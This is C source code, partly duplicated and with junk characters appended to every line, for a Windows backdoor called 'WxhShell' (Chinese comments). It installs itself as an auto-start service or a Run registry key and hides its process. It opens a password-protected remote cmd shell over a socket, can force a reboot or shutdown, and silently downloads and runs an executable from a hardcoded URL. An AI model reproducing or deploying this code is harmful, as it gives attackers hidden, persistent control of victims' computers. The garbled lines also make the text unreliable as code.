    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xP8# |1  
    else { ^ s1Q*He  
    closesocket(wsh); a-l; vDs  
    ExitThread(0); $"0MU  
    } HOw -]JSP2  
    break; K/A*<<r ~  
    } 8d?g]DEN)6  
  // 获取shell "5;;)\o ~  
  case 's': { @.G[s)x  
    CmdShell(wsh); ~7Ts_:E-  
    closesocket(wsh); f>aEkh6u9  
    ExitThread(0); jZh';M8"  
    break; ;FBUwR}  
  } R16'?,  
  // 退出 XpmS{nb  
  case 'x': { bA= |_Wt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >wb 'QzF:  
    CloseIt(wsh); SGh1 DB  
    break; n3}!p'-CC  
    } *F ? 8c  
  // 离开 U"q/rcA  
  case 'q': { )E6;-rD0^+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b`)){LR  
    closesocket(wsh); (rkyWz  
    WSACleanup(); O<96/a'  
    exit(1); RRmLd/(  
    break; T?:glp[4I  
        } ZN! 4;  
  } ]04 e1F1J  
  } QA2borfy  
j{Hao\F8  
  // 提示信息 zXv3:uRp.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e_s&L,ze  
} ?47@ o1  
  } Vnx,5E&  
?"zY" *>4  
  return; QFg sq{  
} 0GB:GBhZ  
=i_-F$pV  
// shell模块句柄 v3}L`dyh3  
int CmdShell(SOCKET sock) fRy^Q_~,  
{ -:30:oq  
STARTUPINFO si; ~n[xtWO0  
ZeroMemory(&si,sizeof(si)); ox:[f9.5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +x_Rfk$fb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GDu~d<RH  
PROCESS_INFORMATION ProcessInfo; 2R=DB`3  
char cmdline[]="cmd"; bhkUKxd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SG-'R1 J  
  return 0; }:u~K;O87  
} %CS@g.H=_  
]xX$<@HR  
// 自身启动模式 0KMctPT]p  
int StartFromService(void) 9Xl`pEhC  
{ y]J89  
typedef struct WcHgBbNe  
{ eFpTW&9n  
  DWORD ExitStatus; #ggf' QIHp  
  DWORD PebBaseAddress; kqce[hgs<  
  DWORD AffinityMask; #<e\QE'!  
  DWORD BasePriority; ZKQG:M~|  
  ULONG UniqueProcessId; @;<ht c  
  ULONG InheritedFromUniqueProcessId; jV? }9L^;  
}   PROCESS_BASIC_INFORMATION; PQK(0iCo4  
k]5Bykf`Ky  
PROCNTQSIP NtQueryInformationProcess; SV v;q?jZ  
Vs%|pIV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QmLF[\Oo_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .A-]_98Z  
6U[4%(  
  HANDLE             hProcess; deM7fN4lTi  
  PROCESS_BASIC_INFORMATION pbi; @J5Jpt*IE  
uq, { tV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x~GQV^(l3  
  if(NULL == hInst ) return 0; UB 6mqjPK  
K'X2dG*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A5i:x$ww  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~zSCg|"r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @+9<O0  
%^1cyk  
  if (!NtQueryInformationProcess) return 0; ]u4Hk?j~<  
K_2|_MLlZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EL8NZ%:v:  
  if(!hProcess) return 0; yaG= j  
U Z|HJ8_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dbOdq  
FXzFHU/dP  
  CloseHandle(hProcess); :6zG7qES3  
H ,+? t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xdf82)  
if(hProcess==NULL) return 0; NzU,va N  
mt5KbA>nU  
HMODULE hMod; /9zE^YcT  
char procName[255]; V5GW:QT  
unsigned long cbNeeded; Tszp3,]f  
34wkzu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {dL?rQ>5L  
94 e): jS  
  CloseHandle(hProcess); ;x:rZV/  
%H]lGN)  
if(strstr(procName,"services")) return 1; // 以服务启动 X=Ys<TM,  
q^A+<d  
  return 0; // 注册表启动 3,]gEE3  
} m;D- u>o  
Wm);C~Le  
// 主模块 $KLD2BAL  
int StartWxhshell(LPSTR lpCmdLine) I!>\#K  
{ {X[ HCfJd  
  SOCKET wsl; # eCjn  
BOOL val=TRUE; *P 3V  
  int port=0; `ORECg)  
  struct sockaddr_in door; oyNSh8c7c  
[74F6Qp  
  if(wscfg.ws_autoins) Install(); B*~5)}1op  
NvHJ3>"%  
port=atoi(lpCmdLine); BWrv%7  
!2z?YZhu  
if(port<=0) port=wscfg.ws_port; 4<cz--g  
\mw(cM#:  
  WSADATA data; -0_d/'d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IBQ@{QB  
+&Hr4@pgW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jMbC Y07v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o$[z],RO  
  door.sin_family = AF_INET; Pl<; [cB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u{FDdR9<  
  door.sin_port = htons(port); E[O<S B I  
n @?4b8"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _:X|.W  
closesocket(wsl); t9Y=m6  
return 1; cwm_nQKk  
} b:R-mg.VT{  
k51Eyy50(  
  if(listen(wsl,2) == INVALID_SOCKET) { fx@j?*Qb  
closesocket(wsl); +8v9flh  
return 1; = <j"M85.  
} <L{(Mj%Z  
  Wxhshell(wsl); 8ZCoc5  
  WSACleanup(); [tg^GOf '  
H)aQ3T4N5  
return 0; 8a_[B~  
v3GwD0 0  
} M @3"<[g  
uP<0WCN  
// 以NT服务方式启动 WHAQu]{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gqR)IVk>%  
{ >@ YtDl8R  
DWORD   status = 0; WWL4`s  
  DWORD   specificError = 0xfffffff; UjOB98Du  
}?&k a$rI  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  Y!WG)u5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]$p{I)d&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P7 PB t  
  serviceStatus.dwWin32ExitCode     = 0; OiAJ[L  
  serviceStatus.dwServiceSpecificExitCode = 0; =1P6Vk  
  serviceStatus.dwCheckPoint       = 0; ?KITC;\\  
  serviceStatus.dwWaitHint       = 0; 4*aZ>R2hO  
4J?t_)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $2<d<Um~z  
  if (hServiceStatusHandle==0) return; ^/5XZ} *  
#/NS&_Ge0s  
status = GetLastError(); ,jC3Fcly  
  if (status!=NO_ERROR) ATy*^sc&"  
{ !r`,=jK"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Nu1BLPm  
    serviceStatus.dwCheckPoint       = 0; uZZU{U9h  
    serviceStatus.dwWaitHint       = 0; _;4 [Q1  
    serviceStatus.dwWin32ExitCode     = status; n39t}`WIl  
    serviceStatus.dwServiceSpecificExitCode = specificError; .TE?KI   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R/^u/~<  
    return; >XOiu#kC  
  } U|HB=BP  
 Y=`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; it> r+%  
  serviceStatus.dwCheckPoint       = 0; I+ es8  
  serviceStatus.dwWaitHint       = 0; nuoPg3Nl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TRZRYm"  
} JT9N!CGZ  
x Au/  
// 处理NT服务事件,比如:启动、停止 bW ZbG{Y.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W5^.-B,(K  
{ v4RlLg dS%  
switch(fdwControl) x+]!m/  
{ XX1Il;1G#  
case SERVICE_CONTROL_STOP: Iyd?|f"  
  serviceStatus.dwWin32ExitCode = 0; T~fmk f$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d*oUfiW  
  serviceStatus.dwCheckPoint   = 0; DI`%zLDcY  
  serviceStatus.dwWaitHint     = 0; ,-+"^>  
  { a=XW[TY1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hk/! 'd  
  } 1xU3#b&2tC  
  return; 6{ ,HiY  
case SERVICE_CONTROL_PAUSE: SlSM+F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k|BHnj  
  break; vA)O {W\o  
case SERVICE_CONTROL_CONTINUE: ? <Y+peu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pq:7F  
  break; <xJ/y|{  
case SERVICE_CONTROL_INTERROGATE: 2Bk$ lx7  
  break; ;Nr]X  
}; AH4EtZC=W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -`f04_@>d  
} IScRsxFb  
Gn)y> AN  
// 标准应用程序主函数 "lNzGi-H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tA$)cg+.  
{ ~^ ^ NHq  
Qm8) 4?FZ  
// 获取操作系统版本 `VQb-V  
OsIsNt=GetOsVer(); - }!H3]tr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =`Y.=RL+'n  
Y~)T  
  // 从命令行安装 ^uS/r#l  
  if(strpbrk(lpCmdLine,"iI")) Install(); OG3/-K8R  
W$qd/'%  
  // 下载执行文件 DFO7uw1  
if(wscfg.ws_downexe) { NZN-^ >  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^v9|%^ug  
  WinExec(wscfg.ws_filenam,SW_HIDE); ds[QwcV9-  
} $T<}y_nHl  
T@%m7|P  
if(!OsIsNt) { e4I^!5)N  
// 如果时win9x,隐藏进程并且设置为注册表启动 O:#+%  
HideProc(); M=xQ=j?  
StartWxhshell(lpCmdLine); +%N KQ'49I  
} 4yaxl\2  
else ;eigOU]  
  if(StartFromService()) eQO#Qso]  
  // 以服务方式启动 s7r9,8$  
  StartServiceCtrlDispatcher(DispatchTable); ;nmM7TZ;  
else JaWv]@9*  
  // 普通方式启动 hJ5z/5aE;  
  StartWxhshell(lpCmdLine); 3`HnLD/  
7ou46v|m5  
return 0; VGw(6`|!  
} :)jJge&^p  
@c'|Iqy`  
.bf<<+'o  
9kKnAf4Z  
=========================================== D\^WXY5e%y  
5FC4@Ms`  
2JmZ{  
JNWg|Qt  
4gdY`}8b^}  
/w]&t\]*  
" k:A|'NK~  
"0jJh^vk  
#include <stdio.h> FVF-:C  
#include <string.h> 8*g ^o\M  
#include <windows.h> t ]c{c#N/  
#include <winsock2.h> -~)OF  
#include <winsvc.h> +Ra3bjl  
#include <urlmon.h> L;W.pe0  
%Y4e9T".  
#pragma comment (lib, "Ws2_32.lib") ">dq0gD  
#pragma comment (lib, "urlmon.lib") U},=LsDsW4  
tLm867`c7  
#define MAX_USER   100 // 最大客户端连接数 gLL-VvJ[  
#define BUF_SOCK   200 // sock buffer 8_uzpeRhJc  
#define KEY_BUFF   255 // 输入 buffer [O-sVYB  
SW(q$i  
#define REBOOT     0   // 重启 DhI>p0* T  
#define SHUTDOWN   1   // 关机 GR'Ti*Qi  
r)1Z(tl  
#define DEF_PORT   5000 // 监听端口 1xnLB>jP#  
G>T')A  
#define REG_LEN     16   // 注册表键长度 l{P\No  
#define SVC_LEN     80   // NT服务名长度 __p_8P  
*i$ePVU  
// 从dll定义API %-;b u|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kvsA]tK.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v7trr W}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {bF1\S]2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0)uYizJce  
}xn_6  
// wxhshell配置信息 vxN0,l  
struct WSCFG { Cd#E"dY6  
  int ws_port;         // 监听端口 q]4pEip  
  char ws_passstr[REG_LEN]; // 口令 K2'O]#  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jd 3@cLCe-  
  char ws_regname[REG_LEN]; // 注册表键名 3+OsjZ  
  char ws_svcname[REG_LEN]; // 服务名 PfW|77  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S+x_c4 T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <o:@dS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [JTto!Ih$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U;xF#e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Uhh l3%p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dc0@Y  
Az*KsY{/r  
}; #P2;K dDO  
7CvD'QW /  
// default Wxhshell configuration `T!#@&+  
struct WSCFG wscfg={DEF_PORT, b_$ 1f >  
    "xuhuanlingzhe", qFR dg V>8  
    1, 96|[}:+$&:  
    "Wxhshell", >cOei K  
    "Wxhshell", 2%rLoL$Y2+  
            "WxhShell Service", j033%p+Xc  
    "Wrsky Windows CmdShell Service", p{;i& HNdp  
    "Please Input Your Password: ", yOHXY&  
  1, K <`>O, F  
  "http://www.wrsky.com/wxhshell.exe", A{,n;;  
  "Wxhshell.exe" 'Am-vhpm  
    }; 32XS`Z  
^nDal':*  
// 消息定义模块 OOy}]uYF`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gp< =Gmd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6p<`h^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hol<dB  
char *msg_ws_ext="\n\rExit."; eG] a zt  
char *msg_ws_end="\n\rQuit."; }VRv sZ  
char *msg_ws_boot="\n\rReboot..."; 9zKBO* p`  
char *msg_ws_poff="\n\rShutdown..."; Iz\1~  
char *msg_ws_down="\n\rSave to "; cwtD@KC[B  
g@nk.aRw  
char *msg_ws_err="\n\rErr!"; SX+RBVZU  
char *msg_ws_ok="\n\rOK!"; #n})X,ip2  
Sgj/s~j~1  
char ExeFile[MAX_PATH]; )r!e2zc=Q  
int nUser = 0; (6xDu.u?A  
HANDLE handles[MAX_USER]; i Q`]ms+  
int OsIsNt; DvT+`X?R  
Y_H/3?b%  
SERVICE_STATUS       serviceStatus; RtF8A5ys  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -Wjh**  
4~u9B/v  
// 函数声明 G!-J$@P  
int Install(void); ku.A|+Tn  
int Uninstall(void); o'UHStk  
int DownloadFile(char *sURL, SOCKET wsh); ubGs/Vzye  
int Boot(int flag); Y)p4]>lT+8  
void HideProc(void); Gbb \h  
int GetOsVer(void); |XcH]7Ai"  
int Wxhshell(SOCKET wsl); -z C]^Ho@  
void TalkWithClient(void *cs); hLuJWjCV  
int CmdShell(SOCKET sock); T1~)^qQ  
int StartFromService(void); "n- pl  
int StartWxhshell(LPSTR lpCmdLine); >A jCl  
>!BFt$sd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TgaYt\"i[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ju{%'D!d9  
RV!<?[  
// 数据结构和表定义 T_ ^C#>  
SERVICE_TABLE_ENTRY DispatchTable[] = .hz2&9Ow  
{ ! Cb=B  
{wscfg.ws_svcname, NTServiceMain}, j@P5(3r  
{NULL, NULL} O-GxUHwW r  
}; %Y',|+Arx  
nm):SEkC  
// 自我安装 YOw?'+8  
int Install(void) :EB,{|m  
{ "3y}F  
  char svExeFile[MAX_PATH]; zl)&U=4l  
  HKEY key; YN#XmX%  
  strcpy(svExeFile,ExeFile); sv=^k(d3  
WN0c %kz=  
// 如果是win9x系统,修改注册表设为自启动 P4%>k6X  
if(!OsIsNt) { k^*$^;z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1X:&* a"5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ks:{TA27  
  RegCloseKey(key); d.\PS9l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l{EU_|q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `p|[rS>  
  RegCloseKey(key); (T;9us0  
  return 0; 1ih*gJPpj  
    } nLd~2qBuv  
  } B)a@fmp"a  
} NV~vuC  
else { nEVbfNo0  
(Jpm KO  
// 如果是NT以上系统,安装为系统服务 aL )Hv k:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |Ylg$?,9*  
if (schSCManager!=0) YN^jm  
{ on5 0+)uN  
  SC_HANDLE schService = CreateService J#@lV  
  ( dpn3 (  
  schSCManager, .eTk=i[N-  
  wscfg.ws_svcname, x u,htx  
  wscfg.ws_svcdisp, csvO g[  
  SERVICE_ALL_ACCESS,  1ZNNsB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E\! n49  
  SERVICE_AUTO_START, B/_6Ieb+  
  SERVICE_ERROR_NORMAL, EIK*49b2  
  svExeFile, {G.jB/  
  NULL, Q?]w{f(  
  NULL, ^srs$ w]  
  NULL, Mdm0g  
  NULL, *H*\gaSh  
  NULL Y-~;E3(  
  ); GC?S];PL  
  if (schService!=0) bX&e_Pd  
  { T/Q==Q{W:  
  CloseServiceHandle(schService); MCd F!{  
  CloseServiceHandle(schSCManager); i* gKtjx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9fCO7AE0#  
  strcat(svExeFile,wscfg.ws_svcname); <?4cWp|i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =M7PvH'"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mk "vv k  
  RegCloseKey(key); #^; s<YZ`  
  return 0; MLeX;He  
    } ;_p fwa4  
  } bqNLkw#  
  CloseServiceHandle(schSCManager); %O_t`wz  
} id4]|jb  
} qm}\?_  
 2$)mC9  
return 1; 1gk0l'.z  
} )-)pYRlO  
 Q>[Ce3  
// 自我卸载 X\'E4  
int Uninstall(void) z.j4tc9F/5  
{ j88=f#<  
  HKEY key; 3B -NY Ja  
8E 9{ Gf  
if(!OsIsNt) { ?"u'#f_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )O -cw7 >  
  RegDeleteValue(key,wscfg.ws_regname); 26}u4W$  
  RegCloseKey(key); j$0zD:ppW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g~|y$T  
  RegDeleteValue(key,wscfg.ws_regname); R9q0,yQW  
  RegCloseKey(key); ;x16shH  
  return 0; r hZQQOQ  
  } gE1|lY$NL  
} h-,?a_  
} *@~`d*d  
else { 0QMaM  
*{Yi}d@h(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R @OSqEnr  
if (schSCManager!=0) PJ0Jjoh"Y  
{ 6."PS4}:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i<Q& D\Pv  
  if (schService!=0) OMi02tSm  
  { p&QmIX]BZ  
  if(DeleteService(schService)!=0) { W1;=J^<&1  
  CloseServiceHandle(schService); C|9[Al  
  CloseServiceHandle(schSCManager); niQ+EAD  
  return 0; i<bxc  
  } 5U3qr*/;m  
  CloseServiceHandle(schService); J+0/ :00(  
  } )FV6,  
  CloseServiceHandle(schSCManager); Z$1.^H.Db  
} )ph30B  
} C~{xL>I  
7^&lbzVbm(  
return 1; R~!\ -6%_  
} / Z1Wy-Z  
'%);%y@v  
// 从指定url下载文件 ,}n=Z  
int DownloadFile(char *sURL, SOCKET wsh) {clC n  
{ Q|Nzbmwh  
  HRESULT hr; 4p?+LdL  
char seps[]= "/"; 8V,"Id][  
char *token; 7t`E@dm  
char *file; T0s35z9  
char myURL[MAX_PATH]; ~K_]N/ >  
char myFILE[MAX_PATH]; {[my"n 2  
Oe/73| >U  
strcpy(myURL,sURL); xSx&79Ez<*  
  token=strtok(myURL,seps); pmoGudaRF  
  while(token!=NULL) :&qC<UD  
  { +{ S Maq  
    file=token; L!?v BL  
  token=strtok(NULL,seps); 2 ae w6~  
  } `!<x"xKu  
\)p4okpR  
GetCurrentDirectory(MAX_PATH,myFILE); ^4RO  
strcat(myFILE, "\\"); ~d&'Lp[3  
strcat(myFILE, file); @>+^W&  
  send(wsh,myFILE,strlen(myFILE),0); )nJzSN=>$  
send(wsh,"...",3,0); 1bT' u5&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]"C| qR*  
  if(hr==S_OK) YGfA qI y  
return 0; gHp'3SnS  
else !NIL pimi  
return 1; .mC~Ry+t  
CQj/e+eE4  
} x`Vy<h 33  
hcd!A 5  
// 系统电源模块 <zfO1~^  
int Boot(int flag) =VCi8jDkP  
{ /]pX8 d  
  HANDLE hToken; _RN/7\  
  TOKEN_PRIVILEGES tkp; W]} #\\$z  
u):X>??  
  if(OsIsNt) { ( P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aIQrb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !&'# a  
    tkp.PrivilegeCount = 1; k,a,h^{}j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lr K9F^c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C<zx'lw!  
if(flag==REBOOT) { 9"m, p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qJ#L)  
  return 0; xAR^  
} Q,OkO?uY  
else { s 4MNVT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'hxs((['\  
  return 0; (3)C_Z  
} QBg}2.  
  } -fb1cv~N  
  else { /E=h{|  
if(flag==REBOOT) { jXc5fXO N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d,Hf-zJ%~  
  return 0; j4.Qvj >:4  
} $I?=.:<+  
else { V`WI"HO+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gn-=##fT:i  
  return 0; (2\li{$e  
} `=_7I?  
} 0L3Bo3:k  
gubb .EY  
return 1; =YS!soO  
} ]hCWe0F  
9nP*N`  
// win9x进程隐藏模块 daaga}]d  
void HideProc(void) U)&H.^@r$  
{ $M:4\E5(  
uYG #c(lc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )_Z]=5Ds  
  if ( hKernel != NULL ) BsoFQw4$9  
  { Y2RxD\!Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'DaNR`9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WyKUvVi  
    FreeLibrary(hKernel); H}u)%qY+~  
  } F?yh23&_4  
e["Z!D_H  
return; 8cYuzt]..  
} @c.11nfn`  
$bF`PGR_  
// 获取操作系统版本 YHwVj?6W  
int GetOsVer(void) BDv|~NHs  
{ eZa3K3^  
  OSVERSIONINFO winfo; &4ug3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !?tu! M<1?  
  GetVersionEx(&winfo); $i1>?pb3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hl4vLx@  
  return 1; &F@tmM~  
  else '=@-aVp  
  return 0; _*OaiEL+:  
} *@b~f&Lx6  
hW*^1%1  
// 客户端句柄模块 bTA14&& q  
int Wxhshell(SOCKET wsl) $6 Q2)^LJ  
{ Z7K!"I  
  SOCKET wsh; ^*$WZMMJ1  
  struct sockaddr_in client; qiwQUm{  
  DWORD myID; $G^H7|PzdC  
K-g=td/@  
  while(nUser<MAX_USER) "GIg| 3  
{ VNOK>+  
  int nSize=sizeof(client); VfJX<e=k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J.CZR[XF#  
  if(wsh==INVALID_SOCKET) return 1; @E&X &F%  
f4@#pnJ3po  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RP ScP  
if(handles[nUser]==0) (AyRs7Dkn  
  closesocket(wsh); ( S C7m /  
else X:zyzEhS  
  nUser++; 'xu7AKpU)  
  } N@%xLJF=N>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ^qSf  
Yp?a=R  
  return 0; S%a}ip&  
} 9v5.4a}  
]9~#;M%1  
// 关闭 socket <+mO$0h"r  
void CloseIt(SOCKET wsh) gvwCoCbb  
{ 9e :d2  
closesocket(wsh); s525`Q;  
nUser--; Ed ?Yk* 4  
ExitThread(0); |?pYJkrYO  
} NZi'eZ{^`  
\a~;8):q=i  
// 客户端请求句柄 |eVTxeq  
void TalkWithClient(void *cs) BhhK| U/  
{ .[eSKtbc)  
CM@"lV_  
  SOCKET wsh=(SOCKET)cs; 0lJBtk9wn  
  char pwd[SVC_LEN]; N|^!"/  
  char cmd[KEY_BUFF]; i >/@]2  
char chr[1]; st1M.}  
int i,j; ;#Crh}~  
:`!mCW`Q-  
  while (nUser < MAX_USER) { 9R t(G_'  
I{X@<o}  
if(wscfg.ws_passstr) { \C'I l w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 16d{IGMz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JqH.QnKcv  
  //ZeroMemory(pwd,KEY_BUFF); '&o> %V  
      i=0; ]>]H:NEq  
  while(i<SVC_LEN) { ;Vtpq3  
`(w kqa  
  // 设置超时 %CfTqbB  
  fd_set FdRead; _tg3%X]  
  struct timeval TimeOut; rnt$BB[g  
  FD_ZERO(&FdRead); OkO@BWL  
  FD_SET(wsh,&FdRead); zfT'!kb,(  
  TimeOut.tv_sec=8; hF{mm(qyv  
  TimeOut.tv_usec=0; L 52z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,"HpV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n B|C-.F  
s*A|9u f5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jak|LOp  
  pwd=chr[0]; h^3Vd K,  
  if(chr[0]==0xd || chr[0]==0xa) { 'rcsK  
  pwd=0; | Y,X=Ed  
  break; XQ?)  
  } a6K$omu  
  i++; 4QN6BZJ5  
    } v |hKf6  
=*O9)$b  
  // 如果是非法用户,关闭 socket O'?lW~CD.>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M3xi 0/.  
} oU{-B$w  
8i+jFSZ$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hF?\K^tF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e1Z;\U$&.  
# xE>]U  
while(1) { 'XjHB!!hU  
J1wGK|F~  
  ZeroMemory(cmd,KEY_BUFF); %>QSeX  
}Q,C;!'"  
      // 自动支持客户端 telnet标准   r|sy_Sk/{  
  j=0; @%okaj#IO  
  while(j<KEY_BUFF) { c9TkIe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >5YYij5Aj  
  cmd[j]=chr[0]; s!zr>N"  
  if(chr[0]==0xa || chr[0]==0xd) { 1,sO =p)Yg  
  cmd[j]=0; m0K2p~  
  break; uc `rt"  
  } ieK'<%dxF  
  j++; -1Ki7|0,  
    } z@40 g)R2A  
SZ1pf#w!  
  // 下载文件 _[6+FdS],  
  if(strstr(cmd,"http://")) { os0"haOI9h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'G By^hj?  
  if(DownloadFile(cmd,wsh)) 1 </t #r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<w>1 =  
  else E9NGdp&-Ah  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mm~o%1|WR  
  } W!Os ci  
  else { !EC\1rmdlN  
'[M2Q"X  
    switch(cmd[0]) { gbi~!S-  
  w[7HY@[  
  // 帮助 X([n>w  
